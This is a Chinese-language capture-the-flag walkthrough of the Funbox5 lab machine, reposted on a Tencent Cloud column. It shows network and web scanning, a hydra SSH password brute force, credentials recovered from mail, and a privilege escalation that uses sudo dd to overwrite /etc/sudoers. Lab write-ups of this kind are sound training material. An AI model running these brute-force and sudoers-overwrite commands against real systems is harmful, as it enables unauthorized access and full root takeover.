首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >funbox5复现

funbox5复现

作者头像
红队蓝军
发布2025-02-12 15:45:54
发布2025-02-12 15:45:54
2230
举报
文章被收录于专栏:红队蓝军红队蓝军

信息收集

ip

代码语言:javascript
复制
arp-scan -l
netdiscover -i eth0 -r 192.168.56.0/24
nmap -sP 192.168.56.0/24
masscan 192.168.56.0/24 -p 80,22

端口

代码语言:javascript
复制
nmap -A -p- -T4 192.168.56.107

目录

代码语言:javascript
复制
使用dirsearch

访问robots.txt

访问/drupal,重定向到192.168.178.33

针对于http://192.168.56.107/drupal/ 再次扫描drupal下的目录

代码语言:javascript
复制
dirsearch -u http://192.168.56.107/drupal/ 
代码语言:javascript
复制
dirb http://192.168.56.107/drupal

网站探测

网站由WordPress,利用 wpscan 进行扫描对用户进行枚举,发现两个用户

代码语言:javascript
复制
wpscan --url http://192.168.56.107/drupal/index.php--enumerate u

根据提示--wp-content-dir制定URL

代码语言:javascript
复制
wpscan --url http://192.168.56.107/drupal/index.php --wp-content-dir=http://192.168.56.107/drupal/wp-content --enumerate u

爆破密码

代码语言:javascript
复制
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.107

登录ssh 用户名/密码 ben/pookie

ben用户属于附属组 mail (GID 8)。这在管理用户权限和访问控制时非常有用。例如,属于 mail 组的用户通常会有权限访问与邮件服务相关的资源或文件。

查看mail。提示没有权限

查看后台监听端口

代码语言:javascript
复制
netstat -anp

后台监听端口发现 110端口

端口110是POP3(邮局协议版本3)的默认端口,用于电子邮件的接收和下载。

使用telnet 连接。用 ben 用户的信息凭据登录

发现有三封邮件,403 、391、578

查看578邮件,得到用户名 / 密码 adam: qwedsayxc!

登录用户adam,附属组为sudo

sudo 提权

代码语言:javascript
复制
sudo -l

adam不需要密码就能以root的身份执行命令

通过网站GTFOBins查询提权方法

https://gtfobins.github.io/

提权方法

该命令可以写入具有root权限的文件,执行命令进行写入文件/etc/sudoers,即设置adam用户具有全部的特权命令。

/etc/sudorers文件解释

该文件允许特定用户像root用户一样使用各种各样的命令,而不需要root用户的密码。

当用户执行sudo时,系统会主动寻找/etc/sudoers文件,判断该用户是否有执行sudo的权限。

代码语言:javascript
复制
LFILE=/etc/sudoers
echo "adam   ALL=(ALL:ALL) ALL " | sudo dd of=$LFILE

找到flag

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-11-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红队蓝军 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 信息收集
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档